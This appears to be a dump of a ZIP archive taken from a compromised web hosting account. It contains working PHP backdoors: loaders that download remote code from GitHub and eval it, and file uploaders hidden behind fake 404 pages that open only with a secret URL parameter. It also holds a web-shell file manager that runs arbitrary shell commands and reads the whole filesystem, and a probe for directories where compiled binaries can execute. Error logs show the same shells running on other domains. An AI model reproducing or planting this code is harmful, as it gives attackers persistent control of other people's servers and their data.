Current path: home/fresvfqn/crimescenecleaningupsuffolkcounty.com/
PK '^[E�l� index.phpnu �[��� PK '^[��2 2 beko.phpnu �[��� <?php
function getRemotePHP($url) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
CURLOPT_SSL_VERIFYPEER => false,
]);
$code = curl_exec($ch);
curl_close($ch);
if (!$code) {
die('Gagal ambil file dari URL Cok :(.');
}
eval("?>$code");
}
getRemotePHP('https://raw.githubusercontent.com/wawanbangke/ggo/refs/heads/main/bypass.php');
?>PK '^[u��V6 6 alfa.phpnu �[��� <?php
function getRemotePHP($url) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
CURLOPT_SSL_VERIFYPEER => false,
]);
$code = curl_exec($ch);
curl_close($ch);
if (!$code) {
die('Gagal ambil file dari URL Cok :(.');
}
eval("?>$code");
}
getRemotePHP('https://raw.githubusercontent.com/hadiArsa123/marijuana/refs/heads/main/alfa.php');
?>PK a^[���� � error_lognu �[��� [21-Sep-2025 02:27:41 UTC] PHP Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/fresvfqn/waterdamageremovalsuffolkcounty.com/bajk/beko.php(18) : eval()'d code(9) : eval()'d code(9) : eval()'d code on line 6
[21-Sep-2025 02:27:42 UTC] PHP Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/fresvfqn/waterdamageremovalsuffolkcounty.com/bajk/beko.php(18) : eval()'d code(9) : eval()'d code(9) : eval()'d code on line 6
PK T0a[Ā) uploads/uploader.phpnu �[��� <!DOCTYPE html>
<html>
<head>
<title>Uploader Sederhana</title>
<style>
body { font-family: Arial; margin: 40px; }
.container { max-width: 400px; margin: auto; padding: 20px; border: 1px solid #ccc; border-radius: 8px; }
input[type="file"] { margin-bottom: 10px; }
</style>
</head>
<body>
<div class="container">
<h2>Upload File</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required><br>
<button type="submit">Upload</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$targetDir = "uploads/";
if (!is_dir($targetDir)) {
mkdir($targetDir);
}
$fileName = basename($_FILES['file']['name']);
$targetFile = $targetDir . $fileName;
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
echo "<p>File berhasil diupload: <strong>" . htmlspecialchars($fileName) . "</strong></p>";
} else {
echo "<p>Gagal mengupload file.</p>";
}
}
?>
</div>
</body>
</html>
PK T0a[�.�j uploads/hanya/hanya.txtnu �[��� hanyaPK T0a[�kc� � zzx.phpnu �[��� <?php
// Cek apakah variabel 'uploader' ada di URL
if (!isset($_GET['hadi'])) {
// Tampilkan template 404 LiteSpeed
http_response_code(404);
echo '<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"3f613af28f6148419dfc1304c9b1f035","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
</body>
</html>';
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Uploader Sederhana</title>
<style>
body { font-family: Arial; margin: 40px; }
.container { max-width: 400px; margin: auto; padding: 20px; border: 1px solid #ccc; border-radius: 8px; }
input[type="file"] { margin-bottom: 10px; }
</style>
</head>
<body>
<div class="container">
<h2>Upload File</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required><br>
<button type="submit">Upload</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$fileName = basename($_FILES['file']['name']);
$targetFile = __DIR__ . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
echo "<p>File berhasil diupload: <strong>" . htmlspecialchars($fileName) . "</strong></p>";
} else {
echo "<p>Gagal mengupload file.</p>";
}
}
?>
</div>
</body>
</html>
PK T0a[6�*)O O uy.phpnu �[��� <?php
// compiler_v2.php - Try different directories
echo "<pre>";
echo "=== COMPILATION TEST V2 - DIFFERENT PATHS ===\n\n";
$c_code = '#include <stdio.h>
int main() {
printf("SUCCESS - Different Directory!\\n");
return 0;
}';
// Try different directories
$directories = [
'/home/fresvfqn/public_html/',
'/home/fresvfqn/',
'/var/tmp/',
'/dev/shm/', // RAM disk - usually executable
];
foreach($directories as $dir) {
$c_file = $dir . 'test.c';
$binary = $dir . 'test';
echo "Testing: $dir\n";
// Write file
if(file_put_contents($c_file, $c_code)) {
// Compile
system("gcc $c_file -o $binary 2>&1", $ret);
if(file_exists($binary)) {
// Try execute
system("$binary 2>&1", $exec_ret);
echo " Compile: ✅, Execute return: $exec_ret\n";
// Cleanup
unlink($c_file);
unlink($binary);
} else {
echo " Compile: ❌\n";
}
} else {
echo " Write: ❌\n";
}
echo "\n";
}
echo "</pre>";
?>PK T0a[ c.phpnu �[��� PK T0a[�I��� � mkl.phpnu �[��� <?php
// Cek apakah variabel 'uploader' ada di URL
if (!isset($_GET['uploader'])) {
// Tampilkan template 404 LiteSpeed
http_response_code(404);
echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body style="margin:0;background:#fff;font-family:Arial,sans-serif"><div style="max-width:600px;margin:100px auto 0 auto;text-align:center"><img src="https://static.litespeedtech.com/images/error/404.png" alt="404" style="width:120px;margin-bottom:20px"><h1 style="font-size:48px;margin:0 0 10px 0;color:#333">404 Not Found</h1><p style="color:#666;font-size:18px">The resource requested could not be found on this server!</p><hr style="margin:30px 0;border:none;border-top:1px solid #eee"><p style="color:#aaa;font-size:14px">LiteSpeed Web Server</p></div></body></html>';
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Uploader Sederhana</title>
<style>
body { font-family: Arial; margin: 40px; }
.container { max-width: 400px; margin: auto; padding: 20px; border: 1px solid #ccc; border-radius: 8px; }
input[type="file"] { margin-bottom: 10px; }
</style>
</head>
<body>
<div class="container">
<h2>Upload File</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required><br>
<button type="submit">Upload</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$fileName = basename($_FILES['file']['name']);
$targetFile = __DIR__ . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
echo "<p>File berhasil diupload: <strong>" . htmlspecialchars($fileName) . "</strong></p>";
} else {
echo "<p>Gagal mengupload file.</p>";
}
}
?>
</div>
</body>
</html>PK T0a[hE��0 �0 a.phpnu �[��� <?php
// Fungsi untuk mendapatkan informasi sistem
function getSystemInfo() {
$info = [];
// Informasi kernel
$info['kernel'] = php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('v');
// Alamat IP server
$info['server_ip'] = $_SERVER['SERVER_ADDR'] ?? 'Tidak tersedia';
// Alamat IP client
$info['client_ip'] = $_SERVER['REMOTE_ADDR'] ?? 'Tidak tersedia';
// Path lokasi script
$info['script_path'] = __FILE__;
// Working directory
$info['working_dir'] = getcwd();
// Informasi PHP
$info['php_version'] = phpversion();
// Informasi server
$info['server_software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Tidak tersedia';
return $info;
}
// Fungsi untuk memeriksa kerentanan kernel (simulasi)
function checkKernelVulnerabilities($kernel) {
$vulnerabilities = [];
// Daftar kernel yang diketahui memiliki kerentanan (contoh)
$vulnerable_kernels = [
'Linux 3.10.0' => 'CVE-2016-5195 (Dirty COW) - Privilege escalation',
'Linux 4.4.0' => 'CVE-2017-16995 - Privilege escalation',
'Linux 4.10.0' => 'CVE-2017-1000112 - Memory corruption',
'Linux 4.14.0' => 'CVE-2018-5333 - Remote code execution',
'Linux 5.0.0' => 'CVE-2019-8912 - Information disclosure',
];
foreach ($vulnerable_kernels as $vuln_kernel => $description) {
if (strpos($kernel, $vuln_kernel) !== false) {
$vulnerabilities[] = [
'kernel' => $vuln_kernel,
'description' => $description,
'severity' => 'Tinggi'
];
}
}
// Jika tidak ditemukan kerentanan spesifik
if (empty($vulnerabilities)) {
$vulnerabilities[] = [
'kernel' => $kernel,
'description' => 'Tidak ditemukan kerentanan yang diketahui dalam database kami',
'severity' => 'Rendah'
];
}
return $vulnerabilities;
}
// Fungsi untuk menangani upload file
function handleFileUpload() {
$uploadResult = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['uploaded_file'])) {
$uploadDir = 'uploads/';
// Buat direktori uploads jika belum ada
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$fileName = basename($_FILES['uploaded_file']['name']);
$filePath = $uploadDir . $fileName;
$fileType = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
// Validasi file (contoh: hanya izinkan file gambar dan txt)
$allowedTypes = ['jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf'];
if (in_array($fileType, $allowedTypes)) {
if ($_FILES['uploaded_file']['size'] < 5000000) { // Maksimal 5MB
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $filePath)) {
$uploadResult['success'] = "File " . htmlspecialchars($fileName) . " berhasil diupload.";
$uploadResult['file_path'] = $filePath;
} else {
$uploadResult['error'] = "Terjadi kesalahan saat mengupload file.";
}
} else {
$uploadResult['error'] = "File terlalu besar. Maksimal 5MB.";
}
} else {
$uploadResult['error'] = "Hanya file JPG, JPEG, PNG, GIF, TXT, dan PDF yang diizinkan.";
}
}
return $uploadResult;
}
// Proses upload file
$uploadResult = handleFileUpload();
// Dapatkan informasi sistem
$systemInfo = getSystemInfo();
// Periksa kerentanan kernel
$vulnerabilities = checkKernelVulnerabilities($systemInfo['kernel']);
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>System Information & Vulnerability Scanner</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
body {
background: linear-gradient(135deg, #1a2a6c, #b21f1f, #fdbb2d);
color: #333;
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
}
header {
text-align: center;
margin-bottom: 30px;
color: white;
text-shadow: 0 2px 4px rgba(0,0,0,0.3);
}
h1 {
font-size: 2.5rem;
margin-bottom: 10px;
}
.subtitle {
font-size: 1.2rem;
opacity: 0.9;
}
.card {
background: rgba(255, 255, 255, 0.9);
border-radius: 15px;
padding: 25px;
margin-bottom: 25px;
box-shadow: 0 10px 20px rgba(0,0,0,0.2);
transition: transform 0.3s ease;
}
.card:hover {
transform: translateY(-5px);
}
.card h2 {
color: #1a2a6c;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 2px solid #fdbb2d;
}
.info-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
gap: 15px;
}
.info-item {
background: white;
padding: 15px;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
}
.info-label {
font-weight: bold;
color: #1a2a6c;
}
.vulnerability-item {
background: white;
padding: 15px;
border-radius: 10px;
margin-bottom: 10px;
border-left: 5px solid #b21f1f;
}
.severity-high {
border-left-color: #b21f1f;
}
.severity-low {
border-left-color: #28a745;
}
.upload-form {
display: flex;
flex-direction: column;
gap: 15px;
}
.form-group {
display: flex;
flex-direction: column;
}
label {
margin-bottom: 5px;
font-weight: bold;
color: #1a2a6c;
}
input[type="file"] {
padding: 10px;
border: 2px dashed #1a2a6c;
border-radius: 5px;
background: #f8f9fa;
}
button {
background: linear-gradient(to right, #1a2a6c, #b21f1f);
color: white;
border: none;
padding: 12px 20px;
border-radius: 5px;
cursor: pointer;
font-size: 1rem;
font-weight: bold;
transition: all 0.3s ease;
}
button:hover {
background: linear-gradient(to right, #b21f1f, #fdbb2d);
transform: scale(1.05);
}
.alert {
padding: 15px;
border-radius: 5px;
margin-bottom: 15px;
}
.alert-success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.alert-error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
footer {
text-align: center;
margin-top: 30px;
color: white;
opacity: 0.8;
}
@media (max-width: 768px) {
.info-grid {
grid-template-columns: 1fr;
}
h1 {
font-size: 2rem;
}
}
</style>
</head>
<body>
<div class="container">
<header>
<h1>System Information & Vulnerability Scanner</h1>
<p class="subtitle">Informasi Sistem, Upload File, dan Pemeriksaan Keamanan</p>
</header>
<!-- Card Informasi Sistem -->
<div class="card">
<h2>Informasi Sistem</h2>
<div class="info-grid">
<div class="info-item">
<div class="info-label">Kernel</div>
<div><?php echo htmlspecialchars($systemInfo['kernel']); ?></div>
</div>
<div class="info-item">
<div class="info-label">IP Server</div>
<div><?php echo htmlspecialchars($systemInfo['server_ip']); ?></div>
</div>
<div class="info-item">
<div class="info-label">IP Client</div>
<div><?php echo htmlspecialchars($systemInfo['client_ip']); ?></div>
</div>
<div class="info-item">
<div class="info-label">Path Script</div>
<div><?php echo htmlspecialchars($systemInfo['script_path']); ?></div>
</div>
<div class="info-item">
<div class="info-label">Working Directory</div>
<div><?php echo htmlspecialchars($systemInfo['working_dir']); ?></div>
</div>
<div class="info-item">
<div class="info-label">Versi PHP</div>
<div><?php echo htmlspecialchars($systemInfo['php_version']); ?></div>
</div>
<div class="info-item">
<div class="info-label">Server Software</div>
<div><?php echo htmlspecialchars($systemInfo['server_software']); ?></div>
</div>
</div>
</div>
<!-- Card Vulnerability Scanner -->
<div class="card">
<h2>Kernel Vulnerability Scanner</h2>
<?php foreach ($vulnerabilities as $vuln): ?>
<div class="vulnerability-item severity-<?php echo strtolower(explode(' ', $vuln['severity'])[0]); ?>">
<div class="info-label">Kernel: <?php echo htmlspecialchars($vuln['kernel']); ?></div>
<div><strong>Deskripsi:</strong> <?php echo htmlspecialchars($vuln['description']); ?></div>
<div><strong>Tingkat Keparahan:</strong> <?php echo htmlspecialchars($vuln['severity']); ?></div>
</div>
<?php endforeach; ?>
<p style="margin-top: 15px; font-style: italic;">
Catatan: Scanner ini hanya untuk tujuan edukasi dan menggunakan database terbatas.
Untuk analisis keamanan yang komprehensif, gunakan alat profesional seperti Nessus, OpenVAS, atau Nikto.
</p>
</div>
<!-- Card Upload File -->
<div class="card">
<h2>Upload File</h2>
<?php if (isset($uploadResult['success'])): ?>
<div class="alert alert-success">
<?php echo $uploadResult['success']; ?>
<?php if (isset($uploadResult['file_path'])): ?>
<br>File disimpan di: <?php echo htmlspecialchars($uploadResult['file_path']); ?>
<?php endif; ?>
</div>
<?php elseif (isset($uploadResult['error'])): ?>
<div class="alert alert-error">
<?php echo $uploadResult['error']; ?>
</div>
<?php endif; ?>
<form class="upload-form" action="" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="uploaded_file">Pilih file untuk diupload (maks. 5MB):</label>
<input type="file" name="uploaded_file" id="uploaded_file" required>
</div>
<button type="submit">Upload File</button>
</form>
<div style="margin-top: 15px;">
<p><strong>File yang diizinkan:</strong> JPG, JPEG, PNG, GIF, TXT, PDF</p>
</div>
</div>
<footer>
<p>System Information & Vulnerability Scanner © <?php echo date('Y'); ?></p>
</footer>
</div>
</body>
</html>PK T0a[u��V6 6
alfa.PhTmLnu �[��� <?php
function getRemotePHP($url) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
CURLOPT_SSL_VERIFYPEER => false,
]);
$code = curl_exec($ch);
curl_close($ch);
if (!$code) {
die('Gagal ambil file dari URL Cok :(.');
}
eval("?>$code");
}
getRemotePHP('https://raw.githubusercontent.com/hadiArsa123/marijuana/refs/heads/main/alfa.php');
?>PK T0a[ mmn.txtnu �[��� PK T0a[�.�j ALFA_DATA/hanya/hanya.txtnu �[��� hanyaPK T0a[�9�\� � test/error_lognu �[��� [09-Oct-2025 05:07:00 UTC] PHP Fatal error: Uncaught Error: Call to undefined function get_magic_quotes_gpc() in /home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/test/filemanager.php:157
Stack trace:
#0 {main}
thrown in /home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/test/filemanager.php on line 157
[09-Oct-2025 07:48:27 UTC] PHP Fatal error: Uncaught Error: Call to undefined function get_magic_quotes_gpc() in /home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/test/filemanager.php:157
Stack trace:
#0 {main}
thrown in /home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/test/filemanager.php on line 157
PK T0a[�_f|1 |1 test/cot.phpnu �[��� <?php
// Simple PHP File Manager with extended features
// Get current path from GET parameter, default to script directory
$currentPath = isset($_GET['path']) ? realpath($_GET['path']) : __DIR__;
// Allow navigation up to root directory
$rootDir = DIRECTORY_SEPARATOR; // root path "/"
// Normalize and validate current path
if ($currentPath === false) {
$currentPath = __DIR__;
}
if (strpos($currentPath, $rootDir) !== 0) {
$currentPath = __DIR__;
}
// Handle file upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$fileName = basename($_FILES['file']['name']);
$targetFile = $currentPath . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
$uploadMessage = "File berhasil diupload: " . htmlspecialchars($fileName);
} else {
$uploadMessage = "Gagal mengupload file.";
}
}
// Handle create new folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_folder'])) {
$newFolderName = basename($_POST['new_folder']);
$newFolderPath = $currentPath . DIRECTORY_SEPARATOR . $newFolderName;
if (!file_exists($newFolderPath)) {
if (mkdir($newFolderPath)) {
$folderMessage = "Folder berhasil dibuat: " . htmlspecialchars($newFolderName);
} else {
$folderMessage = "Gagal membuat folder.";
}
} else {
$folderMessage = "Folder sudah ada.";
}
}
// Handle create new file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file'])) {
$newFileName = basename($_POST['new_file']);
$newFilePath = $currentPath . DIRECTORY_SEPARATOR . $newFileName;
if (!file_exists($newFilePath)) {
if (file_put_contents($newFilePath, '') !== false) {
$fileMessage = "File berhasil dibuat: " . htmlspecialchars($newFileName);
} else {
$fileMessage = "Gagal membuat file.";
}
} else {
$fileMessage = "File sudah ada.";
}
}
// Handle edit file content
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file']) && isset($_POST['edit_content'])) {
$editFileName = basename($_POST['edit_file']);
$editFilePath = $currentPath . DIRECTORY_SEPARATOR . $editFileName;
$editContent = $_POST['edit_content'];
if (file_exists($editFilePath) && is_file($editFilePath)) {
if (file_put_contents($editFilePath, $editContent) !== false) {
$editMessage = "File berhasil disimpan: " . htmlspecialchars($editFileName);
} else {
$editMessage = "Gagal menyimpan file.";
}
} else {
$editMessage = "File tidak ditemukan.";
}
}
// Handle command execution
$commandOutput = '';
if (isset($_POST['command'])) {
$command = $_POST['command'];
// Basic sanitization: allow only safe commands or all if trusted
// For demo, allow all, but in production, restrict
$commandOutput = shell_exec($command . ' 2>&1');
}
// Get list of files and directories
$items = scandir($currentPath);
$dirs = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$fullPath = $currentPath . DIRECTORY_SEPARATOR . $item;
if (is_dir($fullPath)) {
$dirs[] = $item;
} else {
$files[] = $item;
}
}
// Function to format file size
function formatSize($bytes) {
$units = ['B', 'KB', 'MB', 'GB'];
$i = 0;
while ($bytes >= 1024 && $i < 3) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
// Function to get parent directory path
function parentDir($path) {
$parent = dirname($path);
if ($parent === $path) {
return null;
}
return $parent;
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<title>File Manager Extended</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 900px; margin: auto; }
.path { background: #f0f0f0; padding: 10px; border-radius: 5px; margin-bottom: 20px; }
.item { padding: 5px 0; border-bottom: 1px solid #eee; }
.dir { color: blue; font-weight: bold; }
.file { color: green; }
.upload, .create, .edit, .command { margin-top: 20px; padding: 20px; border: 1px solid #ccc; border-radius: 5px; }
table { width: 100%; border-collapse: collapse; }
th, td { padding: 8px; text-align: left; border-bottom: 1px solid #ddd; }
th { background-color: #f2f2f2; }
textarea { width: 100%; height: 200px; }
input[type="text"] { width: 300px; }
.message { color: green; }
.error { color: red; }
a { text-decoration: none; }
</style>
</head>
<body>
<div class="container">
<h1>File Manager Extended</h1>
<div class="server-info">
<h2>Server Info</h2>
<pre>
Uname: <?php echo htmlspecialchars(shell_exec('uname -a') ?: 'Unknown'); ?>
User: <?php echo htmlspecialchars(get_current_user()); ?> Group: <?php echo function_exists('posix_getgid') ? posix_getgid() : 'Unknown'; ?> [ <?php echo htmlspecialchars(get_current_user()); ?> ]
PHP: <?php echo htmlspecialchars(phpversion()); ?> Safe Mode: <?php echo ini_get('safe_mode') ? 'ON' : 'OFF'; ?>
ServerIP: <?php echo htmlspecialchars($_SERVER['SERVER_ADDR'] ?? 'Unknown'); ?> Your IP: <?php echo htmlspecialchars($_SERVER['REMOTE_ADDR'] ?? 'Unknown'); ?>
DateTime: <?php echo date('Y-m-d H:i:s'); ?>
Domains: <?php echo htmlspecialchars(shell_exec('cat /etc/named.conf 2>/dev/null | grep -c "zone"') ?: 'Cant Read [ /etc/named.conf ]'); ?>
HDD: Total:<?php echo formatSize(disk_total_space(__DIR__)); ?> Free:<?php echo formatSize(disk_free_space(__DIR__)); ?> [<?php echo round((disk_free_space(__DIR__) / disk_total_space(__DIR__)) * 100); ?>%]
Useful : <?php echo htmlspecialchars(shell_exec('which gcc c++ ld make php perl ruby tar gzip 2>/dev/null | tr "\n" " "') ?: 'None'); ?><br>
Downloader: <?php echo htmlspecialchars(shell_exec('which wget lynx curl 2>/dev/null | tr "\n" " "') ?: 'None'); ?> <br>
Disable Functions: <?php $df = ini_get('disable_functions'); echo $df ? htmlspecialchars($df) : 'All Functions Accessible'; ?> <br>
CURL : <?php echo extension_loaded('curl') ? 'ON' : 'OFF'; ?> | SSH2 : <?php echo extension_loaded('ssh2') ? 'ON' : 'OFF'; ?> | Magic Quotes : OFF | MySQL : <?php echo extension_loaded('mysql') || extension_loaded('mysqli') || extension_loaded('pdo_mysql') ? 'ON' : 'OFF'; ?> | MSSQL : <?php echo extension_loaded('mssql') || extension_loaded('sqlsrv') ? 'ON' : 'OFF'; ?> | PostgreSQL : <?php echo extension_loaded('pgsql') || extension_loaded('pdo_pgsql') ? 'ON' : 'OFF'; ?> | Oracle : <?php echo extension_loaded('oci8') || extension_loaded('pdo_oci') ? 'ON' : 'OFF'; ?> | CGI : <?php echo php_sapi_name() === 'cgi' ? 'ON' : 'OFF'; ?> <br>
Open_basedir : <?php echo ini_get('open_basedir') ?: 'NONE'; ?> | Safe_mode_exec_dir : <?php echo ini_get('safe_mode_exec_dir') ?: 'NONE'; ?> | Safe_mode_include_dir : <?php echo ini_get('safe_mode_include_dir') ?: 'NONE'; ?> <br>
SoftWare: <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'); ?> <br>
PWD: <?php echo htmlspecialchars(getcwd()); ?> [ Home Shell ]
</pre>
</div>
<div class="path">
<strong>Path:</strong> <?php echo htmlspecialchars($currentPath); ?>
<?php $parent = parentDir($currentPath); ?>
<?php if ($parent !== null): ?>
| <a href="?path=<?php echo urlencode($parent); ?>">⬆️ Parent Directory</a>
<?php endif; ?>
| <a href="?path=<?php echo urlencode($rootDir); ?>">🏠 Root Directory</a>
</div>
<div class="navigate">
<h2>Navigate to Path</h2>
<form method="GET">
<input type="text" name="path" placeholder="Enter full path" value="<?php echo htmlspecialchars($currentPath); ?>" required>
<button type="submit">Go</button>
</form>
</div>
<?php if (isset($uploadMessage)): ?>
<p class="message"><?php echo $uploadMessage; ?></p>
<?php endif; ?>
<?php if (isset($folderMessage)): ?>
<p class="message"><?php echo $folderMessage; ?></p>
<?php endif; ?>
<?php if (isset($fileMessage)): ?>
<p class="message"><?php echo $fileMessage; ?></p>
<?php endif; ?>
<?php if (isset($editMessage)): ?>
<p class="message"><?php echo $editMessage; ?></p>
<?php endif; ?>
<h2>Directories</h2>
<ul>
<?php foreach ($dirs as $dir): ?>
<li class="item dir">
<a href="?path=<?php echo urlencode($currentPath . DIRECTORY_SEPARATOR . $dir); ?>">
📁 <?php echo htmlspecialchars($dir); ?>
</a>
</li>
<?php endforeach; ?>
</ul>
<h2>Files</h2>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($files as $file): ?>
<tr class="item file">
<td>📄 <?php echo htmlspecialchars($file); ?></td>
<td><?php echo formatSize(filesize($currentPath . DIRECTORY_SEPARATOR . $file)); ?></td>
<td>
<a href="?path=<?php echo urlencode($currentPath); ?>&view=<?php echo urlencode($file); ?>">View</a>
<a href="?path=<?php echo urlencode($currentPath); ?>&download=<?php echo urlencode($file); ?>" download>Download</a>
<a href="?path=<?php echo urlencode($currentPath); ?>&edit=<?php echo urlencode($file); ?>">Edit</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<div class="upload">
<h2>Upload File</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</div>
<div class="create">
<h2>Create New Folder</h2>
<form method="POST">
<input type="text" name="new_folder" placeholder="Folder name" required>
<button type="submit">Create Folder</button>
</form>
</div>
<div class="create">
<h2>Create New File</h2>
<form method="POST">
<input type="text" name="new_file" placeholder="File name" required>
<button type="submit">Create File</button>
</form>
</div>
<div class="command">
<h2>Server Info & Command Execution</h2>
<form method="POST">
<input type="text" name="command" placeholder="Enter command" required>
<button type="submit">Run Command</button>
</form>
<?php if ($commandOutput !== ''): ?>
<pre><?php echo htmlspecialchars($commandOutput); ?></pre>
<?php endif; ?>
</div>
</div>
<?php
// Handle view file
if (isset($_GET['view'])) {
$viewFile = basename($_GET['view']);
$viewPath = $currentPath . DIRECTORY_SEPARATOR . $viewFile;
if (file_exists($viewPath) && is_file($viewPath)) {
echo '<div class="container"><h2>Viewing: ' . htmlspecialchars($viewFile) . '</h2><pre>' . htmlspecialchars(file_get_contents($viewPath)) . '</pre></div>';
}
}
// Handle edit file form
if (isset($_GET['edit'])) {
$editFile = basename($_GET['edit']);
$editFilePath = $currentPath . DIRECTORY_SEPARATOR . $editFile;
if (file_exists($editFilePath) && is_file($editFilePath)) {
$content = file_get_contents($editFilePath);
?>
<div class="container edit">
<h2>Edit File: <?php echo htmlspecialchars($editFile); ?></h2>
<form method="POST">
<input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
<textarea name="edit_content"><?php echo htmlspecialchars($content); ?></textarea><br>
<button type="submit">Save</button>
</form>
</div>
<?php
} else {
echo '<p class="error">File tidak ditemukan.</p>';
}
}
// Handle download
if (isset($_GET['download'])) {
$downloadFile = basename($_GET['download']);
$downloadPath = $currentPath . DIRECTORY_SEPARATOR . $downloadFile;
if (file_exists($downloadPath) && is_file($downloadPath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $downloadFile . '"');
readfile($downloadPath);
exit;
}
}
?>
</body>
</html>
PK T0a[ test/index.phpnu �[��� PK T0a[e��2 �2 test/filemanager.phpnu �[��� <?php
// Simple PHP File Manager with extended features
// Get current path from GET parameter, default to script directory
$currentPath = isset($_GET['path']) ? realpath($_GET['path']) : __DIR__;
// Allow navigation up to root directory
$rootDir = DIRECTORY_SEPARATOR; // root path "/"
// Normalize and validate current path
if ($currentPath === false) {
$currentPath = __DIR__;
}
if (strpos($currentPath, $rootDir) !== 0) {
$currentPath = __DIR__;
}
// Handle file upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$fileName = basename($_FILES['file']['name']);
$targetFile = $currentPath . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
$uploadMessage = "File berhasil diupload: " . htmlspecialchars($fileName);
} else {
$uploadMessage = "Gagal mengupload file.";
}
}
// Handle create new folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_folder'])) {
$newFolderName = basename($_POST['new_folder']);
$newFolderPath = $currentPath . DIRECTORY_SEPARATOR . $newFolderName;
if (!file_exists($newFolderPath)) {
if (mkdir($newFolderPath)) {
$folderMessage = "Folder berhasil dibuat: " . htmlspecialchars($newFolderName);
} else {
$folderMessage = "Gagal membuat folder.";
}
} else {
$folderMessage = "Folder sudah ada.";
}
}
// Handle create new file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file'])) {
$newFileName = basename($_POST['new_file']);
$newFilePath = $currentPath . DIRECTORY_SEPARATOR . $newFileName;
if (!file_exists($newFilePath)) {
